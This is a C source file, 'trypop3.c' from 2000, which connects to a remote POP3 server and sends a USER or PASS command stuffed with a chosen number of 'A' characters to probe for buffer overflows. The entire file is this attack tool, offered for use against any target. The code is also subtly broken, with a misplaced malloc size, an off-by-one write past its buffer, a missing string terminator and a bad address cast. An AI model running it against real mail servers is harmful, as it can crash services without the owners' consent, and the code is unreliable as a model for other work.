/*
 * Little program to check remote POP3 servers
 * (c) 2000 - missnglnk <missnglnk@tribune.intranova.net>
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/param.h>

#define METHOD_USERNAME 0xdead
#define METHOD_PASSWORD 0xbeef

extern int errno;
extern int h_errno;

void usage(void)
{
	printf("\ntrypop3.c\n");
	printf("=========\n");
	printf("Tries different overflows against a remote pop3 daemon.\n");
	printf("missnglnk@tribune.intranova.net\n");
	printf("Usage: [-m method] [-l length] [-t target] [-p port]\n");
	printf("Available Methods:\n");
	printf("\t* username\n");
	printf("\t* password\n\n");
	exit(-1);
}

int main(int argc, char **argv)
{
	int args;
	int sock;
	int port = 0;
	int i;
	int method;
	int methodlen;
	char *target;
	unsigned long ip;
	struct hostent *he;
	struct sockaddr_in sin;
	struct servent *se;
	struct in_addr *inp;
	char *attempt;
	char *sndbuf;
	char rcvbuf[1024];

	if (argc < 2) {
		usage();
	}

	while((args = getopt(argc, argv, "m:l:t:p:")) != EOF) {
		switch(args) {
			case 'm':
				if (strcmp(optarg, "username") == 0) {
					method = METHOD_USERNAME;
				} else if (strcmp(optarg, "password") == 0) {
					method = METHOD_PASSWORD;
				} else {
					printf("Unknown method. Either username or password.\n");
					return -1;
				}
				break;
			case 'l':
				methodlen = atoi(optarg);
				break;
			case 't':
				if (strlen(optarg) > MAXHOSTNAMELEN) {
					printf("Target name too long.\n");
					return -1;
				} else {
					target = optarg;
				}
				break;
			case 'p':
				port = atoi(optarg);
				break;
			case '?':
			default:
				usage();
				break;
		}
	}

	argc -= optind;
	argv += optind;

	printf("Resolving %s...", target);
	if (inet_addr(target) != -1) {
		inp = (struct in_addr *)target;
	} else {
		if ((he = gethostbyname(target)) != NULL) {
			inp = (struct in_addr *)he->h_addr;
		} else {
			printf("Error (gethostbyname): %s\n", hstrerror(h_errno));
			return -1;
		}
	}
	printf("%s\n", inet_ntoa(*inp));

	if (port <= 0) {
		if ((se = getservbyname("pop-3", "tcp")) == NULL) {
			printf("Error (getservbyname): %s\n", strerror(errno));
			return -1;
		} else {
			port = ntohs(se->s_port);
		}
	}

	if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
		printf("Error (socket): %s\n", strerror(errno));
		return -1;
	}

	bzero(&sin, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr = *inp;
	sin.sin_port = htons(port);

	printf("Connecting to %s:%d...", inet_ntoa(*inp), port);
	if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
		printf("Error (connect): %s\n", strerror(errno));
		return -1;
	}
	printf("Connected.\n");

	if ((attempt = malloc(methodlen)) == NULL) {
		printf("Error (malloc): %s\n", strerror(errno));
		return -1;
	}

	if ((sndbuf = malloc(methodlen) + 16) == NULL) {
		printf("Error (malloc): %s\n", strerror(errno));
		return -1;
	}

	for (i = 0; i <= methodlen; i++) {
		attempt[i] = 'A';
	}

	bzero(rcvbuf, sizeof(rcvbuf));
	if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
		printf("Error (read): %s\n", strerror(errno));
		return -1;
	}

	printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
	if (strstr(rcvbuf, "+OK") == NULL) {
		return -1;
	}
	bzero(rcvbuf, sizeof(rcvbuf));

	switch(method) {
		case METHOD_USERNAME:
			snprintf(sndbuf, methodlen + 16, "USER %s\n", attempt);
			if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
				printf("Error (write): %s\n", strerror(errno));
				return -1;
			}
			printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
			bzero(sndbuf, methodlen + 16);
			bzero(rcvbuf, sizeof(rcvbuf));
			if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
				printf("Error (read): %s\n", strerror(errno));
				return -1;
			}

			printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
			if (strstr(rcvbuf, "+OK") == NULL) {
				snprintf(sndbuf, methodlen + 16, "QUIT\n");
				if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
					printf("Error (write): %s\n", strerror(errno));
					return -1;
				}
				printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
				bzero(sndbuf, methodlen + 16);
				bzero(rcvbuf, sizeof(rcvbuf));
				if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
					printf("Error (read): %s\n", strerror(errno));
					return -1;
				}

				printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
				return -1;
			}

			bzero(rcvbuf, sizeof(rcvbuf));

			snprintf(sndbuf, methodlen + 16, "PASS http://tribune.intranova.net\n");
			if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
				printf("Error (write): %s\n", strerror(errno));
				return -1;
			}
			printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
			bzero(sndbuf, methodlen + 16);
			bzero(rcvbuf, sizeof(rcvbuf));
			if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
				printf("Error (read): %s\n", strerror(errno));
				return -1;
			}
			printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);

			if (strstr(rcvbuf, "+OK") == NULL) {
				snprintf(sndbuf, methodlen + 16, "QUIT\n");
				if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
					printf("Error (write): %s\n", strerror(errno));
					return -1;
				}
				printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
				bzero(sndbuf, methodlen + 16);
				bzero(rcvbuf, sizeof(rcvbuf));
				if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
					printf("Error (read): %s\n", strerror(errno));
					return -1;
				}

				printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
				return -1;
			}

			snprintf(sndbuf, methodlen + 16, "QUIT\n");
			if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
				printf("Error (write): %s\n", strerror(errno));
				return -1;
			}
			printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
			bzero(sndbuf, methodlen + 16);
			bzero(rcvbuf, sizeof(rcvbuf));
			if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
				printf("Error (read): %s\n", strerror(errno));
				return -1;
			}

			printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
			bzero(rcvbuf, sizeof(rcvbuf));
			break;
	
		case METHOD_PASSWORD:
			snprintf(sndbuf, methodlen + 16, "USER http://tribune.intranova.net\n");
			if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
				printf("Error (write): %s\n", strerror(errno));
				return -1;
			}
			printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
			bzero(sndbuf, methodlen + 16);
			bzero(rcvbuf, sizeof(rcvbuf));
			if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
				printf("Error (read): %s\n", strerror(errno));
				return -1;
			}

			if (strstr(rcvbuf, "+OK") == NULL) {
				snprintf(sndbuf, methodlen + 16, "QUIT\n");
				if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
					printf("Error (write): %s\n", strerror(errno));
					return -1;
				}
				printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
				bzero(sndbuf, methodlen + 16);
				bzero(rcvbuf, sizeof(rcvbuf));
				if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
					printf("Error (read): %s\n", strerror(errno));
					return -1;
				}

				printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
				return -1;
			}

			printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
			bzero(rcvbuf, sizeof(rcvbuf));

			snprintf(sndbuf, methodlen + 16, "PASS %s\n", attempt);
			if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
				printf("Error (write): %s\n", strerror(errno));
				return -1;
			}
			printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
			bzero(rcvbuf, sizeof(rcvbuf));
			if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
				printf("Error (read): %s\n", strerror(errno));
				return -1;
			}

			printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
			if (strstr(rcvbuf, "+OK") == NULL) {
				snprintf(sndbuf, methodlen + 16, "QUIT\n");
				if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
					printf("Error (write): %s\n", strerror(errno));
					return -1;
				}
				printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
				bzero(sndbuf, methodlen + 16);

				bzero(rcvbuf, sizeof(rcvbuf));
				if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
					printf("Error (read): %s\n", strerror(errno));
					return -1;
				}

				printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
				return -1;
			}

			snprintf(sndbuf, methodlen + 16, "QUIT\n");
			if (write(sock, sndbuf, strlen(sndbuf)) < strlen(sndbuf)) {
				printf("Error (write): %s\n", strerror(errno));
				return -1;
			}
			printf("(%d bytes)\t>\t%s", strlen(sndbuf), sndbuf);
			bzero(sndbuf, methodlen + 16);

			bzero(rcvbuf, sizeof(rcvbuf));
			if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
				printf("Error (read): %s\n", strerror(errno));
				return -1;
			}

			printf("(%d bytes)\t<\t%s", strlen(rcvbuf), rcvbuf);
			bzero(rcvbuf, sizeof(rcvbuf));
			break;
		default:
			printf("Why are you here?\n");
			return -1;
	}

	if (close(sock) < 0) {
		printf("Error (close): %s\n", strerror(errno));
		return -1;
	}

	free(attempt);
	return 0;
}
